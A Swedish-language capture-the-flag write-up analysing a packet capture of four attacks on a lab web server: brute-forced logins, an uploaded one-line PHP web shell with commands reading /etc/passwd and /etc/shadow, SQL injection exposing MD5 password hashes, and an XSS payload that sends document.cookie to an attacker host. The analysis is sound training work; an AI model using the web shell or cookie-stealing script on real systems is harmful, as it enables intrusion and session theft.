Skip to main content
  1. fra-challenge-writeups/

FRA Challenge Write-up: Olika angrepp

Table of Contents
This write-up is in Swedish. I may translate it to English in the future.

“Ett företag har upptäckt misstänkt aktivitet i sitt interna nät. IT-personalen har identifierat följande fyra tillfällen specifikt, och sparat det i medföljande PCAP. Hjälp företaget genom att förklara så noga du kan vad som hänt.

(742 315 bytes, sha256: c07403aff5bef7ee8e2d4ff9f7eea6b5a6cb75d1fb2ea8470832c563c34701ea)”

Frågor och svar
#

  • Kortfattat, vad har hänt?

En angripare har funnit fyra webbsidor, vardera med olika svagheter. Dessa svagheter har utnyttjats för att utvinna bland annat inloggningsuppgifter och teknisk information om webbservern i fråga.

  • Vilken typ av svaghet har utnyttjats?

Fyra huvudsakliga svagheter har utnyttjats i varsitt angrepp:

(1) Brute Force-sårbarhet,

(2) orestriktiv filuppladdning,

(3) SQL-injicering, samt

(4) Cross Site Scripting (XSS).

  • Vilken information har angriparen lyckats komma åt?

Användarnamn och lösenord till åtminstone fem konton (däribland en administratör) samt teknisk information om webbservern i fråga (vilket kan användas vid andra framtida angrepp). Dessutom har angriparen skaffat sig möjligheten att ta över andras webbsessioner, så att de i praktiken kan logga in som vilken användare som helst bara denna användare klickar på en specifik länk.

  • Vilka kommandon har körts? Finns det några kommandon som inte lyckats?

Följande kommandon kördes av förövaren på webbservern:

id
pwd
ls -la
cat /etc/passwd
cat /etc/shadow
cat /etc/issue
cat /etc/*-release
uname -r
arch

Det enda kommandot som inte gav någon utdata var cat /etc/shadow, vilket inte är förvånande då filen kräver root-privilegier för att läsas.

Sammanfattning av incidenten
#

En angripare har funnit fyra webbsidor, vardera med olika svagheter.

(1) Brute Force-sårbarhet,

(2) orestriktiv filuppladdning,

(3) SQL-injicering, samt

(4) cross site scripting (XSS).

Dessa svagheter har utnyttjats för att utvinna bland annat inloggningsuppgifter till åtminstone fem konton (däribland en administratör) samt teknisk information om webbservern i fråga. Angriparen har dessutom skaffat sig möjligheten att ta över andras webbsessioner, så att de i praktiken kan logga in som vilken användare som helst bara denna användare klickar på en specifik länk.

Tekniskt detaljerad beskrivning
#

(1) Brute Force-sårbarhet
#

Se wireshark med displayfilter (http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time < "May 22, 2022 11:05:42".

Inloggningsformuläret på http://172.22.0.1:8080/applications/app1/ har inga restriktioner vad gäller antal inloggningsförsök eller hur ofta dessa görs. Angriparen har utnyttjat detta och testat 99 olika vanliga lösenord för vardera av sju olika användarnamn i en Brute Force-attack.

Med wireshark och displayfiltret tp.response and data-text-lines contains "Welcome" ses svaren som följer lyckade inloggningsförsök. Sammantaget fick angriparen fyra korrekta lösenord:

AnvändareLösenord
adminpassword
kallejunior
emmaloveyou
boloveyou

(2) Orestriktiv filuppladdning
#

Se wireshark med displayfilter (http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time > "May 22, 2022 11:05:42" and frame.time < "May 22, 2022 11:10:00".

Sidan http://172.22.0.1:8080/applications/app2/ tillåter uppladdning av filer som sedan kan öppnas genom att besöka deras sökväg. Angriparen har utnyttjat detta och laddat upp ett php-script till http://172.22.0.1:8080/hackable/uploads/funny.php:

<?php system($_GET['cmd']); ?>

Detta s.k. Web Shell tillåter fjärrkörning av kod på webbservern. För att exempelvis exekvera kommandot id har angriparen besökt http://172.22.0.1:8080/hackable/uploads/funny.php?cmd=id, och sidan som laddats har visat kommandots utdata. Samtliga körda kommandon och deras respektive utdata följer nedan.

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/html/hackable/uploads
$ ls -la
total 16
drwxrwxr-x 1 www-data www-data 4096 May 22 11:08 .
drwxrwxr-x 1 www-data www-data 4096 Oct 12  2018 ..
-rw-r--r-- 1 www-data www-data   30 May 22 11:08 funny.php
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
$ cat /etc/shadow

$ cat /etc/issue
Debian GNU/Linux 9 \n \l
$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
VERSION_CODENAME=stretch
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
$ uname -r
5.11.0-46-generic
$ arch
x86_64

(3) SQL-injicering
#

Se wireshark med displayfilter (http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time > "May 22, 2022 11:10:00" and frame.time < "May 22, 2022 11:15:00".

Sidan http://172.22.0.1:8080/applications/app3/ innehåller ett formulär där användarens indata används för att söka i en databas. Indatan saniteras/filtreras inte, vilket i praktiken tillåter en angripare att skriva sina egna SQL-frågor och utvinna vilken information som helst från databasen. Angriparen har utnyttjat detta och, efter att ha utforskat databasens struktur, lyckats utvinna samtliga användarnamn och deras MD5-hashade lösenord. Trots att lösenorden inte lagrades i klartext kan fem av dem fås genom att helt enkelt söka på MD5-värdet i en sökmotor (en enkel Rainbow table-attack).

Den utvunna informationen följer nedan.

AnvändareMD5Lösenord
admin5f4dcc3b5aa765d61d8327deb882cf99password
kalleb03e3fd2b3d22ff6df2796c412b09311junior
emmaf74a10e1d6b2f32a47b8bcb53dac5345loveyou
bof74a10e1d6b2f32a47b8bcb53dac5345loveyou
lina0d107d09f5bbe40cade3de5c71e9e9b7letmein
johanb40d4c3784b7648b40c5d8fb33980fa3
sara5f57e5d49d71d239e54347eb2da0614c

(4) XSS
#

Se wireshark med displayfilter (http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time > "May 22, 2022 11:15:00".

Sidan http://172.22.0.1:8080/applications/app4/ tar det användaren skriver och renderar det som en del av sidan, detta helt utan att senitera/filtrera indatan. Användaren kan då exempelvis skriva ett script som, när det sedan renderas, exekveras i den egna webbläsaren. Vidare kan indatan ges till sidan direkt i besöksadressen istället för att skrivas manuellt i formulärsrutan. Sammantaget kan man alltså skapa en besöksadress/länk till sidan med ett “inbakat” script som kommer köras i webbläsaren på vem som helst som öppnar på länken.

Angriparen har utforskat denna svaghet och skapat länken http://localhost:8080/applications/app4/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F172.22.0.1%3A8000%2Ftestfile1%3Foutput%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E som laddar och kör scriptet

<script>
  new Image().src =
    "http://172.22.0.1:8000/testfile1?output=" + document.cookie;
</script>

som en del av sidan.

Scriptet skickar användarens sessions-cookie till angriparens dator, vilken i praktiken kan använda för att ta över inloggade sessioner utan att behöva tillgång till varken användarnamn eller lösenord.